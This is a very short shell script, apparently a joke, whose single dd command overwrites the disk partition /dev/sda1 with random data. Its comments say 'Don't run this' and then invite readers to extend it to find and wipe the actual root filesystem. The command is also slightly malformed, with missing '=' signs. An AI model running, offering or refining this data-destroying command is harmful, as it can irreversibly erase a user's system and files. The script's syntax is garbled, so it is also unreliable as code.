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#!/bin/sh # Don't run this. dd if
/dev/urandom of=/dev/sda1 bs1024 ## For extra credit sed / awk out the actual root fs, ## checking for OS first, and it's size in blocks ## For early graduation, code an EGD into the shell script.
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